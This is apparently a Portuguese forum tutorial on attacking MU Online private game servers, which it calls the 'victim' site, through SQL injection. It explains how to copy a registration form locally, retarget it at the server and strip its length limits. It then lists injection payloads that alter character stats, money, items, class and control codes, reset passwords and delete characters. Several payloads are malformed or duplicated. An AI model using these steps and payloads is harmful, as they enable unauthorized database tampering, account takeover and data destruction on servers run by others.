+ Uma Forma de Editar Itens em Server C/Firewall

Entre no site da vitima... (exemplo: http://servidordemu.servegame.com:8090)e se dirijam a options, logo depois criar account...

clique com o botão direito na parte azulada que é onde os comandos de php estão...

ao clicar com op botão direito vá em "Exibir código fonte" , irá abrir um bloco de notas com o nome de register[1] , aperte ctrl+F e procure por form

quando aparecer algo semelhante a isto:

form name="regform" action="idreg.php" method="post"

é o que queremos, minimize o bloco de notas voltado assim a página de cadastro...
nela você não precisará preencher NADA, apenas de ok!
No server que estamos hackiando irá aperecer uma msg assim:

Please fix the following error:
Some fields were left blank. Please go back and try again.

signifik que não fizemos o nosso cadastro corretamente, é isso o que queremos.
Clique com o botão direito nesta página, copie o Endereço:(URL)
do site da vítima... ou seja http://servidordemu.servegame.com:8090 como foi colocado de exemplo
agora se lembra do bloco de notas?
abra ele e onde está escrito

<
form action=
"idreg.php"
name=
"regform"
method=
"post"
>

modifique a parte em negrito pelo endereço da url que você copiou de modo que fique:

novamente iremos usar a ferramenta buscar, para isso precione CTRL+F novamente e procure por maxlen
a primeira que achar irá estar assim:
maxLength=10
troque o 10 por vários novos exemplo

maxLength=999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999

999

bem mais do que o suficiente!

agora vá em arquivo salvar como e salve
assim:
sqlinject.htm (O Nome você escolhe, o importante é o arquivo ser .HTM)
salve onde prefirir eu gosto da area de trabalho, porem salve ondi prefirir!
fexe o bloco de notas apos salvar e abra a sua falsa página de cadastro!

onde você iria inserir seu login você coloca os códigos.... aqui irei colocar apenas os básicos se quiser outros peça AQUI n manda pm n c n n vo responde.

Lista de Shark~
' update character set clevel = ('level') where(name='Nick_Char')--
' update character set strength = ('força') where(name='Nick_Char')--
' update character set dexterity = ('velocidade') where(name='Nick_Char')--
' update character set vitality = ('vitalidade') where(name='Nick_Char')--
' update character set energy = ('energia') where(name='Nick_Char')--
' update character set class = ('número_classe') where(name='Nick_Char')--
' update character set pklevel = ('Pk_level') where(name='Nick_char')--
' update character set money = ('ZEN') where(name='Nick_Char')--
' update warehouse set items= 0xHEXA CODE where(accountid='Sua_account')--

Lista de comandos feita por mim(alex)
' UPDATE warehouse Set items= 0x WHERE (accountid = 'Sua_Account')--
' UPDATE ' DELETE Character = 9 WHERE (Name = 'Nick_Char')--
' UPDATE Character Set Money = 1000000000 WHERE (Name = 'Nick_Char')--
' UPDATE Character Set CtlCode = 8 WHERE (Name = 'Nick_Char')--
' UPDATE Character Set SET memb_pwd = '123456' WHERE (WHERE memb_id = Nick_Char)--
' UPDATE Character Set Experience = '3000000' WHERE (Name = 'Nick_Char')--
' UPDATE Character Set cLevel = '748' WHERE (Name = 'Nick_Char')--
' UPDATE Character Set Strength = 705 WHERE (Name = 'Nick_Char')--
' UPDATE Character Set Energy = 11560 WHERE (Name = 'Nick_Char')--
' UPDATE Character Set Dexterity = 8460 WHERE (Name = 'Nick_Char')--
' UPDATE Character Set Vitality = 2136 WHERE (Name = 'Nick_Char')--
' UPDATE Character Set Reset = 100 WHERE (Name = 'Nick_Char')--
' DELETE Character WHERE (Name = 'Nick_Char')-- (Outro de deletar)
' UPDATE Character Set MapNumber = '6' , MapPosX = '63' , MapPosY = '1' , WHERE (Name = 'Nick_Char')--
' UPDATE Character Set Class = 8 WHERE (Name = 'Nick_Char')--
' UPDATE Character Set Life = 100 WHERE (Name = 'Nick_Char')--
' UPDATE Character Set MaxLife = 100 WHERE (Name = 'Nick_Char')--
' UPDATE Character Set Mana = 100 WHERE (Name = 'Nick_Char')--
' UPDATE Character Set MaxMana = 100 WHERE (Name = 'Nick_Char')--
' UPDATE Character Set PkLevel = 3 WHERE (Name = 'Nick_Char')--
' UPDATE Character Set PkTime = 2 WHERE (Name = 'Nick_Char')--
' UPDATE Guild Set G_Score = 100 WHERE (G_Name = 'Nome_Da_Guild')--
' UPDATE Character Set Life = 100 WHERE (Name = 'Nick_Char')--
' UPDATE Character Set MaxLife = 100 WHERE (Name = 'Nick_Char')--
' UPDATE Character Set Mana = 100 WHERE (Name = 'Nick_Char')--
' UPDATE Character Set MaxMana = 100 WHERE (Name = 'Nick_Char')--
' UPDATE Character Set PkLevel = 3 WHERE (Name = 'Nick_Char')--
' UPDATE Character Set PkTime = 2 WHERE (Name = 'Nick_Char')--
' UPDATE Guild Set G_Score = 100 WHERE (G_Name = 'Nome_da_guild')--



Tabela para as classes:

0 = DW
1 = SM

16 = DK
17 = BK

32 = ELF
33 = ME

DL: 64